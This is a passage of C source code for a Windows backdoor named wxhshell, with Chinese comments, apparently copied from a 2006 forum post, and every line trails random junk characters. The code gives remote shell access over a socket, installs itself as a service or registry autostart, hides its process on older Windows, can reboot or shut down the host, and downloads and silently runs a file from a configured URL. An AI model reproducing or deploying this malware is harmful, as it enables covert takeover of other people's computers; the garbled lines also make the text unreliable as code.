    switch(cmd[0]) { >QZt)<[  
   +,F= -  
  // 帮助 ax{-Qi7z-+  
  case '?': { ^7s6J {<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zfr(dQ  
    break; ?%za:{  
  } r"u(!~R  
  // 安装 Cs1%g  
  case 'i': { Nz>E#.++  
    if(Install()) iM\ Z J6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9H *S*n  
    else ev;5 ?9\E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "-j@GCme  
    break; O%++0k;  
    } Pdo5 sve  
  // 卸载 lc$@Jjg9  
  case 'r': { uZ2v;]\Y6  
    if(Uninstall()) s=y9!rr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &h4Z|h[01  
    else l=-d K_ I?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \")YKN=W  
    break; wkZ2Y-#='  
    } 1z};"A  
  // 显示 wxhshell 所在路径 WJFTy+bD  
  case 'p': { C1P t3  
    char svExeFile[MAX_PATH]; ` .sIZku  
    strcpy(svExeFile,"\n\r"); ^K 77V$v  
      strcat(svExeFile,ExeFile); .J6 j"  
        send(wsh,svExeFile,strlen(svExeFile),0); 9J;H.:WH  
    break; ^qzT5W\@  
    } Alk* "p  
  // 重启 l~6SR  
  case 'b': { e2h k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C#?d=x  
    if(Boot(REBOOT)) b1>$sPJ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4qSS<SqY  
    else { qYu!:xa8  
    closesocket(wsh); C@?e`=9(  
    ExitThread(0); %`T^qh_dE  
    } *(SBl}f4l  
    break; A$"$`)P!  
    } #u=O 5%.  
  // 关机 M4hN#0("4  
  case 'd': { %C E@}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ubCJZ"!  
    if(Boot(SHUTDOWN)) aXK%m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EPd.atA  
    else { U5ud?z()OA  
    closesocket(wsh); {}_Oo%IVGK  
    ExitThread(0); n,Mw# r?y  
    } @%@^5  
    break; %{VI-CQ  
    } %"KWjwp  
  // 获取shell l-h7ksRs  
  case 's': { OB  i!fLa  
    CmdShell(wsh); $5"-s]  
    closesocket(wsh); @ H`QLm  
    ExitThread(0); 'a{5}8+8  
    break; wPO@f~[Ji  
  } QsF<=b~  
  // 退出 \FY De  
  case 'x': { XOU-8;d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x#gmliF  
    CloseIt(wsh); q}A3"$-F  
    break; +q=jB-eIx  
    } S~(VcC$K  
  // 离开 -JO46 #m  
  case 'q': { . ;@) 5"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U#1yl6e\I  
    closesocket(wsh); &lfF!   
    WSACleanup(); Pymh^i  
    exit(1); l'{goyf  
    break; Y)5uK:)^  
        } rnBeL _8C  
  } 4a\+o]  
  } ]jY)M<:J4  
y $ DB  
  // 提示信息 |b;M5w?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6C51:XQO  
} oD}FJvV  
  } WT {Cjn  
Vq7 kA "  
  return; "yq;{AGOGl  
} BMj&*p8R  
]<_!@J6k  
// shell模块句柄 %C][E^9  
int CmdShell(SOCKET sock) >]|^ Ux,WZ  
{ ?d#(ian  
STARTUPINFO si; ?'#;Y"RT  
ZeroMemory(&si,sizeof(si)); (X7yNIPfA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HY|SLk/E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Y5 4(>>%  
PROCESS_INFORMATION ProcessInfo; 3@ukkO)   
char cmdline[]="cmd"; 5'Ay@FJ:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qlT:9*&g  
  return 0; fU~y481 A  
} S_-mmzC(  
]{U*+K%,J  
// 自身启动模式 6)<oO(  
int StartFromService(void) -Izg&u &  
{ jW$f(qAbm  
typedef struct hgr ,v"  
{ z'K7J'(R  
  DWORD ExitStatus; G}xBYc0b  
  DWORD PebBaseAddress; N)y;owgo  
  DWORD AffinityMask; l YA+k5  
  DWORD BasePriority; %7wzGtM]ps  
  ULONG UniqueProcessId; k#+^=F^)I  
  ULONG InheritedFromUniqueProcessId; cCKda3v!O  
}   PROCESS_BASIC_INFORMATION; R#bV/7Ol  
0H]9$D  
PROCNTQSIP NtQueryInformationProcess; v=WDs#"  
9U1!"/F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g#3x)97Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |wn LxI  
F7Yuky  
  HANDLE             hProcess; e14 Q\  
  PROCESS_BASIC_INFORMATION pbi; I}0 -  
I,?LZ_pK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ][qA@3^Tw  
  if(NULL == hInst ) return 0; Ip\g ^ia  
;ypO'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 54_m{&hb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *YOnX7*Km  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8-6{MJ?F  
}4`YdN  
  if (!NtQueryInformationProcess) return 0; xT( .#9  
GuDD7~qxY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }33Au-%*  
  if(!hProcess) return 0; .%h_W\M<l  
U]&%EqLS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -* j;  
BeCr){,3  
  CloseHandle(hProcess); 93 b5S>&r  
8k% :w0H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^w}Ib']X  
if(hProcess==NULL) return 0; o"CqVRR  
yf>,oNIAg  
HMODULE hMod; SygsZv&LZ  
char procName[255]; g+{MvSj$  
unsigned long cbNeeded; ?UIb!k>  
NPq2C8:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oYm"NDS_.  
hrxASAfg6  
  CloseHandle(hProcess); iU|C<A%Hh  
-/*{^[  
if(strstr(procName,"services")) return 1; // 以服务启动 ViONG]F  
;yoq/  
  return 0; // 注册表启动 kQcQi}e  
} |EU08b]P29  
wC@ U/?  
// 主模块 X,Q(W0-6$u  
int StartWxhshell(LPSTR lpCmdLine) iKO~#9OF  
{ [qo* ,CRz  
  SOCKET wsl; Qd=/e pkm  
BOOL val=TRUE; nW[aPQ[R   
  int port=0; .^W0;ISX  
  struct sockaddr_in door; p{u}t!`!d  
E_*T0&P.P  
  if(wscfg.ws_autoins) Install(); a MD?^  
$(hZw  
port=atoi(lpCmdLine); ld0WZj  
}Q*ec/^{f  
if(port<=0) port=wscfg.ws_port; D^4V"rq  
t*$@QO  
  WSADATA data; I!%@|[ Ow  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Q[$R&\  
e=C,`&s z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]vG)lY.=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ B]t4N2i  
  door.sin_family = AF_INET; XiUsaoQm3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;0WlvKF  
  door.sin_port = htons(port); <CdO& xUY  
<7h'MNf&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z.:A26  
closesocket(wsl); WV5R$IqY  
return 1; HKf3eC  
} ? -tw*2+  
iWsIc\!+,  
  if(listen(wsl,2) == INVALID_SOCKET) { Oms`i&}"}  
closesocket(wsl); q\G@Nn^  
return 1; -rrg?4  
} gNBI?xs`p  
  Wxhshell(wsl); EyiM`)!5  
  WSACleanup(); 34:=A0z  
Z%{2/mQ  
return 0; '1IH^<b  
i;7jJ(#V  
} l$NEx0Dffz  
e;v2`2z2  
// 以NT服务方式启动 3J{'|3x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z5zm,Jw  
{ n$K_KU v  
DWORD   status = 0; $~l :l[Zs  
  DWORD   specificError = 0xfffffff; \>Q,AyL  
ul1Vsj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +z_0?x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #YV;Gp(2h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CK%W +";  
  serviceStatus.dwWin32ExitCode     = 0; TlJF{ <E  
  serviceStatus.dwServiceSpecificExitCode = 0; nfU}ECun4  
  serviceStatus.dwCheckPoint       = 0; O\z%6:'M  
  serviceStatus.dwWaitHint       = 0; l,3tU|V  
2I5@zm ea  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $1F9TfA  
  if (hServiceStatusHandle==0) return; 4O'ho0w7  
k3w#^ "i  
status = GetLastError(); 1F-L( \oKm  
  if (status!=NO_ERROR) a7R7Ks|q  
{ [&&4lKC}u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $MR4jnTT  
    serviceStatus.dwCheckPoint       = 0; :JmNy <  
    serviceStatus.dwWaitHint       = 0; Yy5F'RY  
    serviceStatus.dwWin32ExitCode     = status; UKdzJEhG  
    serviceStatus.dwServiceSpecificExitCode = specificError; GWsFW[T?~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,z{70  
    return; mE1*F'0a  
  } .FyC4"b=c  
2TO1i0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b(F`$N@7C  
  serviceStatus.dwCheckPoint       = 0; 0!T $Ef   
  serviceStatus.dwWaitHint       = 0; :/08}!_:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "@_f>3z  
} ?uLqB@!2  
0&|-wduR=  
// 处理NT服务事件,比如:启动、停止 sT ONkd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hi%>&i*  
{ {WChD&v  
switch(fdwControl) ~V5jjx*  
{ ;F- kE4w  
case SERVICE_CONTROL_STOP: %$U+?lk}  
  serviceStatus.dwWin32ExitCode = 0; {$JIR}4S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }0o0"J-$  
  serviceStatus.dwCheckPoint   = 0; NoT oLt\  
  serviceStatus.dwWaitHint     = 0; lH 8?IkK,g  
  { CS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *^]ba>  
  } W0Vjs|/  
  return; 78kk"9h'  
case SERVICE_CONTROL_PAUSE: X|:O`b$G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c|XnPqo;f  
  break; "lm3o(Dk  
case SERVICE_CONTROL_CONTINUE: f#?R!pR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k 'o?/  
  break; P]G2gDO  
case SERVICE_CONTROL_INTERROGATE: lnhZ!_  
  break; \4 DH&gZ[  
}; k K(,FB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e): &pqA  
} ! d(,t[cV  
3z#16*  
// 标准应用程序主函数 KR63W:Z\'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fjf\/%  
{ *e=e7KC6kI  
3i<*,@CY  
// 获取操作系统版本 *Zln\Sx  
OsIsNt=GetOsVer(); H"sey +-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6b0#z#E  
#gP\q?5Ov  
  // 从命令行安装 K(hf)1q  
  if(strpbrk(lpCmdLine,"iI")) Install(); L))(g][;  
zc_3\N  
  // 下载执行文件 1 OX(eXF>  
if(wscfg.ws_downexe) { @YRBZ6FH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yd9y8Tq J  
  WinExec(wscfg.ws_filenam,SW_HIDE); I#0$5a},u^  
} z\a#"2(G.  
YRl2e`&jt  
if(!OsIsNt) { Xv6s,<#\  
// 如果时win9x,隐藏进程并且设置为注册表启动 2KU [Yd  
HideProc(); nX~sVG{Q  
StartWxhshell(lpCmdLine); Y0DBkg  
} &( Z8G~h4  
else |o`TRqs  
  if(StartFromService()) :%{8lanO  
  // 以服务方式启动 ;G ?_^ 0  
  StartServiceCtrlDispatcher(DispatchTable); Z^b1i`v  
else R lv|DED$  
  // 普通方式启动 S;= D/)[mr  
  StartWxhshell(lpCmdLine); D`+'#%%x  
8"? t6Z;5  
return 0; 7@:uVowQ  
}
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只看该作者 1 发表于: 2006-10-10
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